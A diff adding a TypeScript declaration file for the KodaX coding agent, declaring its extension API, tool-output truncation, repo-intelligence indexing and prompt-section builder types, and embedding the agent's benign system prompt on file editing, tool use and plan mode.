+ runtime: ExtensionRuntimeController;
1124
+ /** Extension-scoped key-value store that persists across sessions. */
1125
+ persistence: KodaXExtensionStore;
1126
+ /** Run a shell command with sandboxed environment (no API key leakage). */
1127
+ exec: (command: string, options?: ExecOptions) => Promise<ExecResult>;
1128
+ /** Send an HTTP webhook with timeout support. */
1129
+ webhook: (url: string, payload: unknown, options?: WebhookOptions) => Promise<WebhookResult>;
1130
+ }
1131
+ type KodaXExtensionActivationResult = void | (() => void | Promise<void>) | Promise<void | (() => void | Promise<void>)>;
1132
+ interface KodaXExtensionModule {
1133
+ default?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
1134
+ activate?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
1135
+ }
1136
+
1137
+ declare function stripHtmlToText(html: string): string;
1138
+ declare function extractHtmlTitle(html: string): string | undefined;
1139
+ declare function convertProviderSearchResults(results: unknown[], limit: number): KodaXRetrievalItem[];
1140
+ declare function convertCapabilityReadResult(tool: KodaXRetrievalToolName, providerId: string, capabilityId: string, result: CapabilityResult, summary: string): KodaXRetrievalResult;
1141
+ declare function renderRetrievalResult(result: KodaXRetrievalResult): string;
1142
+ declare function finalizeRetrievalResult(result: KodaXRetrievalResult, ctx: KodaXToolExecutionContext): Promise<string>;
1143
+
1144
+ declare const DEFAULT_TOOL_OUTPUT_MAX_LINES = 2000;
1145
+ declare const DEFAULT_TOOL_OUTPUT_MAX_BYTES: number;
1146
+ declare const READ_DEFAULT_LIMIT = 2000;
1147
+ declare const READ_PREFLIGHT_SIZE_BYTES: number;
1148
+ declare const READ_MAX_LINE_CHARS = 2000;
1149
+ interface TruncationOptions {
1150
+ maxLines?: number;
1151
+ maxBytes?: number;
1152
+ }
1153
+ interface TruncationResult {
1154
+ content: string;
1155
+ truncated: boolean;
1156
+ truncatedBy: 'lines' | 'bytes' | null;
1157
+ totalLines: number;
1158
+ totalBytes: number;
1159
+ outputLines: number;
1160
+ outputBytes: number;
1161
+ lastLinePartial: boolean;
1162
+ firstLineExceedsLimit: boolean;
1163
+ maxLines: number;
1164
+ maxBytes: number;
1165
+ }
1166
+ declare function formatSize(bytes: number): string;
1167
+ declare function truncateHead(content: string, options?: TruncationOptions): TruncationResult;
1168
+ declare function truncateTail(content: string, options?: TruncationOptions): TruncationResult;
1169
+ declare function truncateLine(line: string, maxChars?: number): {
1170
+ text: string;
1171
+ wasTruncated: boolean;
1172
+ };
1173
+ declare function persistToolOutput(toolName: string, content: string, ctx?: Pick<KodaXToolExecutionContext, 'gitRoot' | 'executionCwd'>): Promise<string>;
1174
+
1175
+ interface ToolResultPolicy {
1176
+ maxLines: number;
1177
+ maxBytes: number;
1178
+ direction: 'head' | 'tail';
1179
+ spillToFile: boolean;
1180
+ }
1181
+ interface GuardedToolResult {
1182
+ content: string;
1183
+ truncated: boolean;
1184
+ outputPath?: string;
1185
+ policy: ToolResultPolicy;
1186
+ /**
1187
+ * FEATURE_121 v0.7.40 — set when `persistToolOutput` threw and
1188
+ * `content` was returned inline as the data-loss-guard fallback.
1189
+ * Callers that need an LLM-summary follow-up (`dispatch-child-tasks`
1190
+ * for `child_task_summary`) branch on this flag. Undefined/false
1191
+ * means the normal success path ran.
1192
+ */
1193
+ spillFailed?: boolean;
1194
+ }
1195
+ declare function getToolResultPolicy(toolName: string): ToolResultPolicy;
1196
+ interface ApplyToolResultGuardrailOptions {
1197
+ /**
1198
+ * FEATURE_121 (v0.7.40): force the guardrail down the spill+preview path
1199
+ * regardless of `policy.maxBytes`. Used by envelope aggregate budget
1200
+ * enforcement to reclaim space when N child summaries individually fit
1201
+ * but together exceed the envelope cap.
1202
+ */
1203
+ forceSpill?: boolean;
1204
+ }
1205
+ declare function applyToolResultGuardrail(toolName: string, content: string, ctx: KodaXToolExecutionContext, options?: ApplyToolResultGuardrailOptions): Promise<GuardedToolResult>;
1206
+
1207
+ type RepoAreaKind = 'package' | 'directory' | 'docs' | 'tests' | 'scripts' | 'root';
1208
+ type ChangedFileStatus = 'modified' | 'added' | 'deleted' | 'renamed' | 'untracked';
1209
+ interface RepoAreaOverview {
1210
+ id: string;
1211
+ label: string;
1212
+ kind: RepoAreaKind;
1213
+ root: string;
1214
+ fileCount: number;
1215
+ manifests: string[];
1216
+ sampleFiles: string[];
1217
+ }
1218
+ interface RepoOverview {
1219
+ schemaVersion: number;
1220
+ workspaceRoot: string;
1221
+ source: 'git' | 'filesystem';
1222
+ generatedAt: string;
1223
+ truncated: boolean;
1224
+ git?: {
1225
+ branch?: string;
1226
+ head?: string;
1227
+ hasUncommittedChanges?: boolean;
1228
+ };
1229
+ fileStats: {
1230
+ totalFiles: number;
1231
+ sourceFiles: number;
1232
+ docFiles: number;
1233
+ testFiles: number;
1234
+ configFiles: number;
1235
+ };
1236
+ manifests: string[];
1237
+ keyDocs: string[];
1238
+ entryHints: string[];
1239
+ areas: RepoAreaOverview[];
1240
+ }
1241
+ interface ChangedScopeAreaSummary {
1242
+ areaId: string;
1243
+ label: string;
1244
+ root: string;
1245
+ kind: RepoAreaKind;
1246
+ fileCount: number;
1247
+ files: string[];
1248
+ }
1249
+ interface ChangedFileEntry {
1250
+ path: string;
1251
+ status: ChangedFileStatus;
1252
+ category: 'source' | 'docs' | 'tests' | 'config' | 'other';
1253
+ areaId: string;
1254
+ }
1255
+ interface ChangedScopeReport {
1256
+ schemaVersion: number;
1257
+ workspaceRoot: string;
1258
+ analyzedAt: string;
1259
+ scope: 'unstaged' | 'staged' | 'all' | 'compare';
1260
+ baseRef?: string;
1261
+ overviewGeneratedAt?: string;
1262
+ totalChangedFiles: number;
1263
+ changedLineCount: number;
1264
+ addedLineCount: number;
1265
+ deletedLineCount: number;
1266
+ categories: Record<'source' | 'docs' | 'tests' | 'config' | 'other', number>;
1267
+ areasTouched: ChangedScopeAreaSummary[];
1268
+ files: ChangedFileEntry[];
1269
+ riskHints: string[];
1270
+ }
1271
+ declare function buildRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, targetPath?: string): Promise<RepoOverview>;
1272
+ declare function getRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1273
+ targetPath?: string;
1274
+ refresh?: boolean;
1275
+ }): Promise<RepoOverview>;
1276
+ declare function renderRepoOverview(overview: RepoOverview): string;
1277
+ declare function buildRepoIntelligenceContext(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1278
+ targetPath?: string;
1279
+ includeRepoOverview?: boolean;
1280
+ includeChangedScope?: boolean;
1281
+ refreshOverview?: boolean;
1282
+ changedScope?: 'unstaged' | 'staged' | 'all' | 'compare';
1283
+ baseRef?: string;
1284
+ }): Promise<string>;
1285
+ declare function analyzeChangedScope(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1286
+ targetPath?: string;
1287
+ scope?: 'unstaged' | 'staged' | 'all' | 'compare';
1288
+ baseRef?: string;
1289
+ refreshOverview?: boolean;
1290
+ }): Promise<ChangedScopeReport>;
1291
+ declare function renderChangedScope(report: ChangedScopeReport): string;
1292
+
1293
+ type RepoLanguageId = 'typescript' | 'javascript' | 'python' | 'java' | 'go' | 'rust' | 'cpp' | 'unknown';
1294
+ type LanguageCapabilityTier = 'high' | 'medium' | 'low';
1295
+ type RepoSymbolKind = 'function' | 'class' | 'interface' | 'type' | 'enum' | 'struct' | 'trait' | 'method' | 'constant';
1296
+ interface RepoLanguageSupport {
1297
+ language: RepoLanguageId;
1298
+ capabilityTier: LanguageCapabilityTier;
1299
+ fileCount: number;
1300
+ }
1301
+ interface RepoSymbolReference {
1302
+ symbolId: string;
1303
+ name: string;
1304
+ filePath: string;
1305
+ moduleId: string;
1306
+ reason: 'same-module' | 'imported-module' | 'name-match';
1307
+ }
1308
+ interface RepoSymbolRecord {
1309
+ id: string;
1310
+ name: string;
1311
+ qualifiedName: string;
1312
+ kind: RepoSymbolKind;
1313
+ filePath: string;
1314
+ moduleId: string;
1315
+ language: RepoLanguageId;
1316
+ capabilityTier: LanguageCapabilityTier;
1317
+ line: number;
1318
+ signature: string;
1319
+ exported: boolean;
1320
+ calls: string[];
1321
+ callTargets: RepoSymbolReference[];
1322
+ importPaths: string[];
1323
+ confidence: number;
1324
+ }
1325
+ interface ModuleCapsule {
1326
+ moduleId: string;
1327
+ label: string;
1328
+ kind: RepoAreaKind;
1329
+ root: string;
1330
+ fileCount: number;
1331
+ sourceFileCount: number;
1332
+ symbolCount: number;
1333
+ languages: RepoLanguageSupport[];
1334
+ topSymbols: string[];
1335
+ dependencies: string[];
1336
+ dependents: string[];
1337
+ entryFiles: string[];
1338
+ keyTests: string[];
1339
+ keyDocs: string[];
1340
+ sampleFiles: string[];
1341
+ processIds: string[];
1342
+ confidence: number;
1343
+ }
1344
+ interface ProcessStep {
1345
+ kind: 'entry' | 'imports' | 'calls';
1346
+ symbolName: string;
1347
+ symbolId?: string;
1348
+ filePath: string;
1349
+ note: string;
1350
+ line?: number;
1351
+ }
1352
+ interface ProcessCapsule {
1353
+ id: string;
1354
+ label: string;
1355
+ moduleId: string;
1356
+ entryFile: string;
1357
+ entrySymbol?: string;
1358
+ summary: string;
1359
+ steps: ProcessStep[];
1360
+ confidence: number;
1361
+ }
1362
+ interface RepoIntelligenceIndex {
1363
+ schemaVersion: number;
1364
+ workspaceRoot: string;
1365
+ generatedAt: string;
1366
+ overviewGeneratedAt: string;
1367
+ sourceFileCount: number;
1368
+ sourceFingerprint: string;
1369
+ languages: RepoLanguageSupport[];
1370
+ modules: ModuleCapsule[];
1371
+ symbols: RepoSymbolRecord[];
1372
+ processes: ProcessCapsule[];
1373
+ capability?: KodaXRepoIntelligenceCapability;
1374
+ trace?: KodaXRepoIntelligenceTrace;
1375
+ }
1376
+ interface ModuleContextResult {
1377
+ module: ModuleCapsule;
1378
+ freshness: string;
1379
+ confidence: number;
1380
+ evidence: string[];
1381
+ capability?: KodaXRepoIntelligenceCapability;
1382
+ trace?: KodaXRepoIntelligenceTrace;
1383
+ }
1384
+ interface SymbolContextResult {
1385
+ symbol: RepoSymbolRecord;
1386
+ alternatives: RepoSymbolRecord[];
1387
+ callers: RepoSymbolRecord[];
1388
+ freshness: string;
1389
+ confidence: number;
1390
+ capability?: KodaXRepoIntelligenceCapability;
1391
+ trace?: KodaXRepoIntelligenceTrace;
1392
+ }
1393
+ interface ProcessContextResult {
1394
+ process: ProcessCapsule;
1395
+ alternatives: ProcessCapsule[];
1396
+ freshness: string;
1397
+ confidence: number;
1398
+ capability?: KodaXRepoIntelligenceCapability;
1399
+ trace?: KodaXRepoIntelligenceTrace;
1400
+ }
1401
+ interface ImpactEstimateResult {
1402
+ target: {
1403
+ kind: 'symbol' | 'module' | 'path';
1404
+ label: string;
1405
+ moduleId?: string;
1406
+ filePath?: string;
1407
+ };
1408
+ summary: string;
1409
+ impactedModules: ModuleCapsule[];
1410
+ impactedSymbols: RepoSymbolRecord[];
1411
+ callers: RepoSymbolRecord[];
1412
+ changedScope?: ChangedScopeReport;
1413
+ freshness: string;
1414
+ confidence: number;
1415
+ capability?: KodaXRepoIntelligenceCapability;
1416
+ trace?: KodaXRepoIntelligenceTrace;
1417
+ }
1418
+ declare function renderModuleContext(result: ModuleContextResult): string;
1419
+ declare function renderSymbolContext(result: SymbolContextResult): string;
1420
+ declare function renderProcessContext(result: ProcessContextResult): string;
1421
+ declare function renderImpactEstimate(result: ImpactEstimateResult): string;
1422
+
1423
+ type RepoContext = Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>;
1424
+ declare function buildRepoIntelligenceIndex(context: RepoContext, options?: {
1425
+ targetPath?: string;
1426
+ refresh?: boolean;
1427
+ }): Promise<RepoIntelligenceIndex>;
1428
+ declare function getRepoIntelligenceIndex(context: RepoContext, options?: {
1429
+ targetPath?: string;
1430
+ refresh?: boolean;
1431
+ }): Promise<RepoIntelligenceIndex>;
1432
+ declare function getModuleContext(context: RepoContext, options?: {
1433
+ module?: string;
1434
+ targetPath?: string;
1435
+ refresh?: boolean;
1436
+ mode?: KodaXRepoIntelligenceMode;
1437
+ }): Promise<ModuleContextResult>;
1438
+ declare function getSymbolContext(context: RepoContext, options: {
1439
+ symbol: string;
1440
+ module?: string;
1441
+ targetPath?: string;
1442
+ refresh?: boolean;
1443
+ mode?: KodaXRepoIntelligenceMode;
1444
+ }): Promise<SymbolContextResult>;
1445
+ declare function getProcessContext(context: RepoContext, options: {
1446
+ entry?: string;
1447
+ module?: string;
1448
+ targetPath?: string;
1449
+ refresh?: boolean;
1450
+ mode?: KodaXRepoIntelligenceMode;
1451
+ }): Promise<ProcessContextResult>;
1452
+ declare function getImpactEstimate(context: RepoContext, options: {
1453
+ symbol?: string;
1454
+ module?: string;
1455
+ path?: string;
1456
+ targetPath?: string;
1457
+ refresh?: boolean;
1458
+ mode?: KodaXRepoIntelligenceMode;
1459
+ }): Promise<ImpactEstimateResult>;
1460
+ declare function getRepoRoutingSignals(context: RepoContext, options?: {
1461
+ targetPath?: string;
1462
+ refresh?: boolean;
1463
+ mode?: KodaXRepoIntelligenceMode;
1464
+ }): Promise<KodaXRepoRoutingSignals>;
1465
+ /**
1466
+ * v0.7.41 L2 — best-effort warm both session-level caches (routing signals +
1467
+ * preturn bundle) for a given workspace. Designed to be called fire-and-forget
1468
+ * at REPL startup so the first user prompt finds the in-process caches warm.
1469
+ *
1470
+ * Why this works (and why M1's `refresh:true` design did NOT):
1471
+ * - Uses `refresh: false` (4s budget) — daemon returns its already-cached
1472
+ * state immediately. Total prewarm wall-time is typically 1-2s.
1473
+ * - Daemon's own background polling keeps its state fresh; we don't need
1474
+ * to force a refresh on every REPL startup.
1475
+ * - If user submits BEFORE prewarm completes, P2 in-flight Promise sharing
1476
+ * coalesces both calls onto the same 4s daemon round-trip. The user pays
1477
+ * at most ~2s, NOT the 30s budget that `refresh:true` would burn.
1478
+ * - If user submits AFTER prewarm completes, P3+ session cache (60s TTL)
1479
+ * serves the result in ~0ms.
1480
+ * - The middleware/first-round path (L1) also uses `refresh:false`, so
1481
+ * prewarm and user-path are cache-coherent — the user-path call genuinely
1482
+ * hits the warmed entry instead of being forced to bypass it.
1483
+ *
1484
+ * Failure modes:
1485
+ * - All calls `.catch(() => {})` — prewarm is best-effort. If the daemon
1486
+ * is down, the first prompt falls back to OSS as before.
1487
+ * - `off` mode short-circuits — no work at all when repo intelligence
1488
+ * is disabled.
1489
+ */
1490
+ declare function prewarmRepoIntelligenceCaches(context: RepoContext, options?: {
1491
+ mode?: KodaXRepoIntelligenceMode;
1492
+ }): void;
1493
+
1494
+ declare const REPOINTEL_DEFAULT_ENDPOINT = "http://127.0.0.1:47891";
1495
+
1496
+ type RepoIntelligenceRequestedBridge = 'none' | 'shared' | 'native';
1497
+ type RepoIntelligenceEffectiveEngine = 'off' | 'oss' | 'premium';
1498
+ type RepoIntelligenceRuntimeStatus = 'disabled' | 'ok' | 'limited' | 'unavailable' | 'warming';
1499
+ type PremiumTransport = 'daemon' | 'direct';
1500
+ interface RepoIntelligenceRuntimeInspection {
1501
+ configuredMode: KodaXRepoIntelligenceMode;
1502
+ requestedMode: KodaXRepoIntelligenceResolvedMode;
1503
+ endpoint: string;
1504
+ bin: string;
1505
+ traceEnabled: boolean;
1506
+ requestedBridge: RepoIntelligenceRequestedBridge;
1507
+ effectiveEngine: RepoIntelligenceEffectiveEngine;
1508
+ effectiveBridge: RepoIntelligenceRequestedBridge;
1509
+ status: RepoIntelligenceRuntimeStatus;
1510
+ fallbackToOss: boolean;
1511
+ warnings: string[];
1512
+ error?: string;
1513
+ transport?: PremiumTransport;
1514
+ clientBuildId?: string;
1515
+ daemonBuildId?: string;
1516
+ daemonStartedAt?: string;
1517
+ daemonPid?: number;
1518
+ }
1519
+ interface RepoIntelligenceRuntimeWarmResult extends RepoIntelligenceRuntimeInspection {
1520
+ warmed: boolean;
1521
+ warmLatencyMs?: number;
1522
+ }
1523
+ interface RepoIntelligenceRuntimeConfig {
1524
+ mode: KodaXRepoIntelligenceMode;
1525
+ endpoint: string;
1526
+ bin: string;
1527
+ trace: boolean;
1528
+ }
1529
+ declare function resolveRepoIntelligenceRuntimeConfig(modeOverride?: KodaXRepoIntelligenceMode, traceOverride?: boolean): RepoIntelligenceRuntimeConfig;
1530
+ declare function resolveRepoIntelligenceMode(modeOverride?: KodaXRepoIntelligenceMode): KodaXRepoIntelligenceResolvedMode;
1531
+ declare function inspectRepoIntelligenceRuntime(options?: {
1532
+ mode?: KodaXRepoIntelligenceMode;
1533
+ trace?: boolean;
1534
+ probePremium?: boolean;
1535
+ }): Promise<RepoIntelligenceRuntimeInspection>;
1536
+ declare function warmRepoIntelligenceRuntime(options?: {
1537
+ mode?: KodaXRepoIntelligenceMode;
1538
+ trace?: boolean;
1539
+ }): Promise<RepoIntelligenceRuntimeWarmResult>;
1540
+
1541
+ declare const SYSTEM_PROMPT = "You are KodaX, a helpful multi-provider coding agent. You can read, write, and edit files, and execute shell commands.\n\n## Error Handling\n\nWhen a tool call returns an error:\n1. STOP and READ the error message carefully\n2. DO NOT repeat the same tool call with the same parameters\n3. Identify what's wrong (missing parameter? wrong type? wrong path?)\n4. Fix the issue BEFORE making another tool call\n5. Common errors:\n - \"Missing required parameter 'X'\" -> Add the missing parameter to your JSON\n - \"File not found\" -> Check the path with read or glob first\n - \"String not found\" -> Read the file again to see exact content\n\nWhen a shell command fails, prefer this recovery order:\n1. Check whether a specialized tool can solve the task directly\n2. Fix the command itself (quoting, workdir, platform-specific command, smaller scope)\n3. Split the task into smaller read/edit/write steps\n4. Only create a helper script when repeated inline commands are clearly less safe or less maintainable\n\n## Editing Files\n\n- Always read the file first to understand its current content\n- Make precise, targeted edits rather than rewriting entire files\n- Preserve the existing code style and formatting\n- Do not create new files unless the user asks for one or the task genuinely needs one. Prefer editing an existing file to creating a new one, as this prevents file bloat and keeps each tool call small\n- When a modification is scoped to an existing file, ALWAYS prefer `edit` over `write`. Only fall back to `write` when no file exists yet or the user explicitly requested a complete rewrite\n\n## Tool Usage\n\nPrefer specialized tools over shell for file operations:\n- Use read to view files instead of cat, head, or tail\n- Use edit to modify existing files instead of sed or awk when possible\n- Use write to create new files instead of echo redirection or heredocs\n- Use glob or grep for file discovery and content search before falling back to shell\n- When multiple read-only tool calls are independent, emit them in the same response so parallel mode can run them together\n- Only serialize tool calls when a later call depends on an earlier result\n- Keep parallel batches focused: prefer a few narrow grep/read/diff calls over many tiny sequential probes\n\nRead is intentionally bounded:\n- A single read call only returns a limited slice of a file\n- For large files, continue with offset/limit instead of retrying a whole-file read\n- Prefer grep first, then read the specific section you need\n\nTool outputs are also bounded:\n- Large bash output may be truncated to the tail\n- Large grep results and diffs may be summarized\n- When you see a truncation hint, narrow the next tool call instead of repeating the same broad request\n- If edit fails to find a stable anchor, do not rewrite the entire existing file with write; retry with a smaller unique edit anchor or use insert_after_anchor for section appends\n\nIf you truly need a script:\n- Do NOT create temporary scripts or scratch files in the project root\n- Do NOT place them at `.agent/` top level \u2014 that directory is reserved for system-managed artifacts (managed-tasks/, project/, repo-intelligence/, etc.)\n- Write them to `.agent/tmp/` (relative to the git root). This is the designated ephemeral workspace; files there can be safely cleaned up later\n- Alternatively, use the system temp directory if the script does not need to be inspectable from the project\n- Treat helper scripts as a last resort, not the default recovery path\n\n## Shell Commands\n\n- Be careful with destructive operations\n- Reserve shell commands for terminal operations such as git, package managers, builds, tests, and system commands\n- Prefer read-only operations when possible\n- For file edits, prefer read/edit/write over shell transforms unless shell scripting is genuinely more efficient\n\n### Cross-Platform Notes\n\nDifferent platforms have different commands:\n- Move: `move` (Windows) vs `mv` (Unix/Mac)\n- List: `dir` (Windows) vs `ls` (Unix/Mac)\n- Delete: `del` (Windows) vs `rm` (Unix/Mac)\n\n**IMPORTANT: Directories are created automatically by the `write` tool.**\n- NEVER use `mkdir` before writing files - the write tool handles directory creation\n- If you truly need an empty directory: `mkdir dir` (Windows) or `mkdir -p dir` (Unix)\n\nIf you see \"not recognized\", \"\u4E0D\u662F\u5185\u90E8\u6216\u5916\u90E8\u547D\u4EE4\", or a similar shell lookup error, the command does not exist on this platform. Try the platform equivalent.\n\n## Multi-step Tasks\n\n- Track your progress by listing what you've done and what's next\n- Break complex tasks into smaller steps\n- Summarize progress periodically\n\n## Plan Before Action\n\nFor any non-trivial task (creating files, editing code, running complex commands):\n1. First explain your understanding of the task\n2. Outline your approach (what files, what changes, what order)\n3. Consider potential issues (edge cases, dependencies, conflicts)\n4. Then execute step by step\n\nFor simple read-only tasks (reading a file, listing directory), just do it directly.\n\nIf the environment is currently in a read-only planning mode:\n- Do not try to write files or run mutating shell commands during planning\n- Finish the plan first\n- After the plan is complete, use `ask_user_question` to ask whether the user wants to proceed with implementation\n- If the user confirms, call `set_permission_mode` with `mode: \"accept-edits\"` to switch to implementation mode\n- If the user declines, stay in plan mode \u2014 do NOT call `set_permission_mode`\n\n## Asking User Questions\n\nWhen you need the user to make decisions, use `ask_user_question`.\n- For **multiple independent questions**, use the `questions` array (1-4 items). Each question has its own `question`, `header`, `options`, and optional `multi_select`. The user answers each question separately. Do NOT combine multiple questions into a single question string with pre-combined option combinations.\n- For a **single question**, use the `question` + `options` fields as before.\n- For **free-text input**, use `kind: \"input\"`.\n\nAlways explain what you're doing before taking action.\n\n{context}";
1542
+
1543
+ type KodaXPromptSectionSlot = 'base' | 'runtime-context' | 'session-context' | 'capability-truth' | 'base-suffix' | 'mode-overlay' | 'project-rules' | 'skill-addendum' | 'specialist';
1544
+ type KodaXPromptSectionStability = 'stable' | 'dynamic' | 'project' | 'specialist';
1545
+ interface KodaXPromptSectionDefinition {
1546
+ id: string;
1547
+ title: string;
1548
+ owner: 'prompts' | 'reasoning' | 'project' | 'skills' | 'agent';
1549
+ feature: string;
1550
+ slot: KodaXPromptSectionSlot;
1551
+ order: number;
1552
+ stability: KodaXPromptSectionStability;
1553
+ }
1554
+ interface KodaXPromptSection extends KodaXPromptSectionDefinition {
1555
+ inclusionReason: string;
1556
+ content: string;
1557
+ }
1558
+ interface KodaXPromptSnapshotMetadata {
1559
+ isNewSession: boolean;
1560
+ executionCwd: string;
1561
+ projectRoot: string;
1562
+ longRunning: boolean;
1563
+ }
1564
+ interface KodaXPromptSnapshot {
1565
+ kind: 'system';
1566
+ sections: KodaXPromptSection[];
1567
+ rendered: string;
1568
+ hash: string;
1569
+ metadata: KodaXPromptSnapshotMetadata;
1570
+ }
1571
+ declare const PROMPT_SECTION_REGISTRY: Record<string, KodaXPromptSectionDefinition>;
1572
+ declare function createPromptSection(id: keyof typeof PROMPT_SECTION_REGISTRY, content: string, inclusionReason: string): KodaXPromptSection;
1573
+ declare function orderPromptSections(sections: KodaXPromptSection[]): KodaXPromptSection[];
1574
+ declare function renderPromptSections(sections: KodaXPromptSection[]): string;
1575
+ declare function buildPromptSnapshot(sections: KodaXPromptSection[], metadata: KodaXPromptSnapshotMetadata): KodaXPromptSnapshot;
1576
+
1577
+ /**
1578
+ * KodaX Prompt Builder
1579
+ *
1580
+ * Builds effective prompts through an explicit section registry so prompt
1581
+ * truth can be snapshotted, attributed, and regression-tested.
1582
+ *
1583
+ * v0.7.35.1 FEATURE_142 Batch E: the 13 capability-context sections
1584
+ * formerly inlined here have been hoisted to
1585
+ * `./capability-sections.ts:buildCapabilityContextSections`. This file
1586
+ * keeps the SA-path orchestration (cwd resolution, snapshot assembly)
1587
+ * and delegates section construction to the shared helper. SA output
1588
+ * is byte-equivalent to the pre-Batch E rendering — `builder.test.ts`
1589
+ * is the integration-level guard for that contract.
1590
+ */
1591
+
1592
+ /**
1593
+ * Build a sectionized snapshot of the effective system prompt.
1594
+ */
1595
+ declare function buildSystemPromptSnapshot(options: KodaXOptions, isNewSession: boolean): Promise<KodaXPromptSnapshot>;
1596
+ /**
1597
+ * Build the rendered system prompt used for provider calls.
1598
+ */
1599
+ declare function buildSystemPrompt(options: KodaXOptions, isNewSession: boolean): Promise<string>;
1600
+
1601
+ /**
1602
+ * v0.7.35.1 FEATURE_142 Batch E — Capability Context Sections.
1603
+ *
1604
+ * Single source of truth for the 13 capability-context prompt sections
1605
+ * the SA path (`buildSystemPromptSnapshot` in `builder.ts`) assembles.
1606
+ * Extracted to dedupe with a future AMA worker integration (Batch F /
1607
+ * v0.7.36 FEATURE_143). Each section's id, order, content shape, and
1608
+ * inclusion condition is preserved byte-equivalently from
1609
+ * builder.ts:32-181 (pre-Batch E).
1610
+ *
1611
+ * The 13 sections, in order:
1612
+ * 1. base-system (always)
1613
+ * 2. base-system-suffix (when SYSTEM_PROMPT has `{context}` marker)
1614
+ * 3. environment-context (always)
1615
+ * 4. runtime-fact (when provider or model is set)
1616
+ * 5. working-directory (always)
1617
+ * 6. git-context (when isNewSession AND repo has git output)
1618
+ * 7. project-snapshot (when isNewSession)
1619
+ * 8. repo-intelligence-context (when context.repoIntelligenceContext)
1620
+ * 9. mcp-capability-context (when extensionRuntime returns mcp ctx)
1621
+ * 10. prompt-overlay (when context.promptOverlay)
1622
+ * 11. project-agents (when AGENTS.md / CLAUDE.md found)
1623
+ * 12. skills-addendum (when context.skillsPrompt)
1624
+ * 13. tool-construction (when toolConstructionMode includes it)
1625
+ *
1626
+ * Why this lives in `@kodax-ai/coding/src/prompts/` and NOT
1627
+ * `@kodax-ai/agent/`:
1628
+ * - All callers (builder.ts SA path + future AMA role-prompt) are
1629
+ * coding-internal. A future `@kodax-ai/data-analysis-agent` would
1630
+ * have its own builder + role-prompt with its own section set
1631
+ * (e.g. `prompt-overlay` is coding-routing-specific). Cross-agent
1632
+ * reuse is at the **pattern** level (each agent has its own
1633
+ * `capability-sections.ts`), not the **content** level.
1634
+ * - Hoisting to `@kodax-ai/agent/` would force `@kodax-ai/agent` →
1635
+ * `@kodax-ai/skills` / `@kodax-ai/mcp` cross-package dependencies,
1636
+ * breaking the "agent doesn't depend on application-layer
1637
+ * packages" promise.
1638
+ * - The drift problem this batch solves is "SA / AMA assemble the
1639
+ * same content twice" — a coding-internal duplication, not a
1640
+ * cross-package boundary issue.
1641
+ *
1642
+ * Behavior contract: the SA path's emitted sections array (and thus
1643
+ * `KodaXPromptSnapshot.rendered`) MUST stay byte-equivalent to the
1644
+ * pre-Batch E `buildSystemPromptSnapshot` output. `builder.test.ts` is
1645
+ * the integration-level guard for this contract.
1646
+ */
1647
+
1648
+ /**
1649
+ * Build the full ordered set of capability-context prompt sections for
1650
+ * the given options + session state. The caller is responsible for
1651
+ * passing the result to `buildPromptSnapshot()` (or whatever assembler
1652
+ * the agent uses); this helper only emits the section list.
1653
+ *
1654
+ * `executionCwd` is OPTIONAL — when omitted, this helper calls
1655
+ * `resolveExecutionCwd(options.context)` internally. Passing it
1656
+ * explicitly is supported as a perf shortcut for callers that have
1657
+ * already resolved cwd for other purposes (e.g. `builder.ts` uses the
1658
+ * same value to populate the snapshot's `executionCwd` field), but
1659
+ * **the explicit value MUST equal `resolveExecutionCwd(options.context)`
1660
+ * or the `working-directory` section will diverge from the snapshot
1661
+ * metadata** — a subtle source of drift if a future caller resolves
1662
+ * cwd differently. Prefer the no-arg form unless you have a documented
1663
+ * reason to override.
1664
+ */
1665
+ declare function buildCapabilityContextSections(options: KodaXOptions, isNewSession: boolean, executionCwdOverride?: string): Promise<KodaXPromptSection[]>;
1666
+
1667
+ declare function checkIncompleteToolCalls(toolBlocks: KodaXToolUseBlock[]): string[];
1668
+
1669
+ /**
1670
+ * Prompt content builder — CAP-009
1671
+ *
1672
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-009
1673
+ *
1674
+ * Pure function that turns the entry user prompt into the right shape for
1675
+ * the provider's first message:
1676
+ *
1677
+ * - text-only prompt + no input artifacts → return the string as-is
1678
+ * (lets the provider use its compact text-message path)
1679
+ * - text + image artifacts (paste / drag) → return a multimodal content
1680
+ * block array: a text block followed by one image block per artifact
1681
+ *
1682
+ * Always applied at the SINGLE SA entry-message build site
1683
+ * (`agent.ts:1263`); the runner-driven (AMA) path hits the same function via
1684
+ * the package re-export.
1685
+ *
1686
+ * Migration history: extracted from `input-artifacts.ts` to `agent-runtime/`
1687
+ * during FEATURE_100 P2. The companion `extractPromptComparableText` /
1688
+ * `extractComparableUserMessageText` helpers stay in `input-artifacts.ts`
1689
+ * for now; they migrate to `agent-runtime/middleware/auto-resume.ts` when
1690
+ * CAP-046 (duplicate-message detection) lands.
1691
+ */
1692
+
1693
+ declare function buildPromptMessageContent(prompt: string, inputArtifacts?: readonly KodaXInputArtifact[]): string | KodaXContentBlock[];
1694
+
1695
+ /**
1696
+ * Auto-resume / session-continuation middleware — CAP-008 + CAP-046
1697
+ *
1698
+ * Capability inventory:
1699
+ * - docs/features/v0.7.29-capability-inventory.md#cap-008-initialmessages-session-continuation
1700
+ * - docs/features/v0.7.29-capability-inventory.md#cap-046-duplicate-user-message-detection
1701
+ *
1702
+ * Three concerns colocated here because they are all triggered at frame
1703
+ * entry and consume the same `KodaXOptions.session` field:
1704
+ *
1705
+ * 1. **`extractPromptComparableText` / `extractComparableUserMessageText`**
1706
+ * — canonicalise text content for the duplicate-message check
1707
+ * (returns string for primitive content, joined text-block content
1708
+ * otherwise). Re-exported from `../../input-artifacts.ts` to preserve
1709
+ * the public API path.
1710
+ *
1711
+ * 2. **`resolveInitialMessages`** (CAP-008) — at frame entry, picks ONE
1712
+ * of three source paths and returns the resolved transcript bundle:
1713
+ * a. `options.session.initialMessages` provided (REPL multi-turn,
1714
+ * plan-mode replay) → clone + extract title from messages.
1715
+ * b. `options.session.storage` + `sessionId` provided → load and
1716
+ * normalise via `normalizeLoadedSessionMessages` (FEATURE_076
1717
